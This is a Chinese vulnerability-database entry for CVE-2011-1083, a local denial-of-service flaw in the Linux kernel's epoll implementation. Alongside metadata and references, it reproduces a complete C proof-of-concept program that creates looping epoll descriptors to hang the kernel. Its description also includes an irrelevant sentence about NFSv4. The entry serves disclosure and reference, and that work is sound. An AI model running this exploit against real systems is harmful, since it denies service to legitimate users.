Linux Kernel epoll实现拒绝服务漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1120316 漏洞类型 资源管理错误
发布时间 2011-03-02 更新时间 2020-08-13
CVE编号 CVE-2011-1083 CNNVD-ID CNNVD-201104-018
漏洞平台 Linux CVSS评分 4.9
|漏洞来源
https://www.exploit-db.com/exploits/35403
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201104-018
|漏洞详情
Linux kernel是美国Linux基金会发布的开源操作系统Linux所使用的内核。NFSv4 implementation是其中的一个分布式文件系统协议。 Linux kernel 2.6.37.2及之前版本中的epoll实现没有正确遍历epoll文件描述符的树。本地用户可以借助使用epoll_create和epoll_ctl系统调用的特制应用程序,导致拒绝服务(CPU消耗)。
|漏洞EXP
/*
source: http://www.securityfocus.com/bid/46630/info

The Linux Kernel epoll Subsystem is prone to multiple local denial-of-service vulnerabilities.

Successful exploits will allow attackers to cause the kernel to hang, denying service to legitimate users. 
*/


#include <unistd.h>
 #include <sys/epoll.h>
 int main(void) {
     int e1, e2, p[2];
     struct epoll_event evt = {
         .events = EPOLLIN
     };
     e1 = epoll_create(1);
     e2 = epoll_create(2);
     pipe(p);

     epoll_ctl(e2, EPOLL_CTL_ADD, e1, &evt);
     epoll_ctl(e1, EPOLL_CTL_ADD, p[0], &evt);
     write(p[1], p, sizeof p);
     epoll_ctl(e1, EPOLL_CTL_ADD, e2, &evt);

     return 0;
 }
|参考资料

来源:bugzilla.redhat.com
链接:https://bugzilla.redhat.com/show_bug.cgi?id=681578
来源:MLIST
名称:[oss-security]20110302Re:CVErequest:kernel:MultipleDoSissuesinepoll
链接:http://openwall.com/lists/oss-security/2011/03/02/2
来源:MLIST
名称:[oss-security]20110301CVErequest:kernel:MultipleDoSissuesinepoll
链接:http://openwall.com/lists/oss-security/2011/03/02/1
来源:MLIST
名称:[linux-kernel]20110228Re:[PATCH]optimizeepollloopdetection
链接:http://article.gmane.org/gmane.linux.kernel/1106686
来源:MLIST
名称:[linux-kernel]20110226Re:[PATCH]optimizeepollloopdetection
链接:http://article.gmane.org/gmane.linux.kernel/1105888
来源:MLIST
名称:[linux-kernel]20110225[PATCH]optimizeepollloopdetection
链接:http://article.gmane.org/gmane.linux.kernel/1105744
来源:OSVDB
名称:71265
链接:http://www.osvdb.org/71265
来源:SECUNIA
名称:43522
链接:http://secunia.com/advisories/43522
来源:NSFOCUS
名称:18801
链接:http://www.nsfocus.net/vulndb/18801